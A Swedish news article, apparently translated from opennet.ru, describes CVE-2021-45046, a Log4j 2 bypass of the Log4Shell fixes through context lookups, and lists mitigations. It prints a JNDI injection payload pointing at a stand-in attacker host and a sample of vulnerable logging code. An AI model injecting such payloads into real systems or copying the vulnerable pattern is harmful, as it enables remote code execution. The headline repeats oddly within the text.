En ny attackvektor mot Log4j 2 som kan kringgÄ den nyligen tillagda skyddet.

Det har upptÀckts en ytterligare sÄrbarhet (CVE-2021-45046) i implementeringen av JNDI-platshÄllare i Log4j 2, som visar sig trots de korrigeringar som lades till i version 2.15 och oavsett anvÀndning av instÀllningen "log4j2.noFormatMsgLookup" för att skydda. Problemet utgör en risk frÀmst för Àldre versioner av Log4j 2 som Àr skyddade med flaggan "noFormatMsgLookup", eftersom det möjliggör att kringgÄ skyddet mot den tidigare sÄrbarheten (Log4Shell, CVE-2021-44228), vilket möjliggör exekvering av egen kod pÄ servern. För anvÀndare av version 2.15 begrÀnsas utnyttjandet till att skapa förhÄllanden för att applikationen ska krascha pÄ grund av uttömda resurser.

SÄrbarheten förekommer endast pÄ system dÀr kontextuella förfrÄgningar (Context Lookup) anvÀnds vid loggning, sÄsom ${ctx:loginId}, eller MDC-mallar (Thread Context Map), exempelvis %X, %mdc och %MDC. Utnyttjandet gÄr ut pÄ att skapa förhÄllanden för att logga data som innehÄller JNDI-platshÄllare, genom att anvÀnda kontextuella förfrÄgningar eller MDC-mallar som definierar regler för loggutformatning.

Forskare frÄn LunaSec har pÄpekat att för versioner av Log4j lÀgre Àn 2.15 kan denna sÄrbarhet anvÀndas som en ny attackvektor för Log4Shell, vilket leder till kodexekvering, om uttryck frÄn ThreadContext anvÀnds i loggutskrifter dÀr externa data ingÄr, oavsett om flaggan "noMsgFormatLookups" eller mönstret "%m{nolookups}" Àr aktiverade som skydd.

En ny attackvektor mot Log4j 2 som kan kringgÄ den nyligen tillagda skyddet.

KringgĂ„endet av skyddet gĂ„r ut pĂ„ att i stĂ€llet för att direkt sĂ€tta in "${jndi:ldap://attacker.com/a}", istĂ€llet placeras detta uttryck genom vĂ€rdet av en mellanliggande variabel som anvĂ€nds i reglerna för loggutformatning. Till exempel, om en kontextuell förfrĂ„gan ${ctx:apiversion} anvĂ€nds vid loggning, kan attacken genomföras genom att placera datan "${jndi:ldap://attacker.com/a}" i vĂ€rdet som skrivs till variabeln apiversion. Exempel pĂ„ sĂ„rbar kod: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // VĂ€rdet av HTTP-huvudet "X-Api-Version" överförs till ThreadContext ThreadContext.put("apiversion", apiVersion); // Vid loggning kommer det externa vĂ€rdet apiversion att behandlas med hjĂ€lp av platshĂ„llaren ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

I versionen Log4j 2.15 kan sÄrbarheten anvÀndas för att genomföra DoS-attacker genom att skicka vÀrden som orsakar oÀndliga slingor i trÄdkontextens bearbetning av formatmallar för utdata.

En ny attackvektor mot Log4j 2 som kan kringgÄ den nyligen tillagda skyddet.

För att blockera sÄrbarheten har uppdateringar 2.16 och 2.12.2 publicerats. I version Log4j 2.16, förutom korrigeringar som infördes i version 2.15 samt uppkoppling av JNDI LDAP-förfrÄgningar till "localhost", Àr JNDI-funktionaliteten som standard helt avstÀngd och stöd för meddelandeersÀttningsmallar har tagits bort. Som en genvÀg för att skydda föreslÄs att klassen JndiLookup tas bort frÄn classpath (till exempel "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").

Följ utvecklingen av korrigeringar i paketen pÄ distributionssidor (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) och hos tillverkare av Java-plattformar (GitHub, Docker, Oracle, vmWare, Broadcom och Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster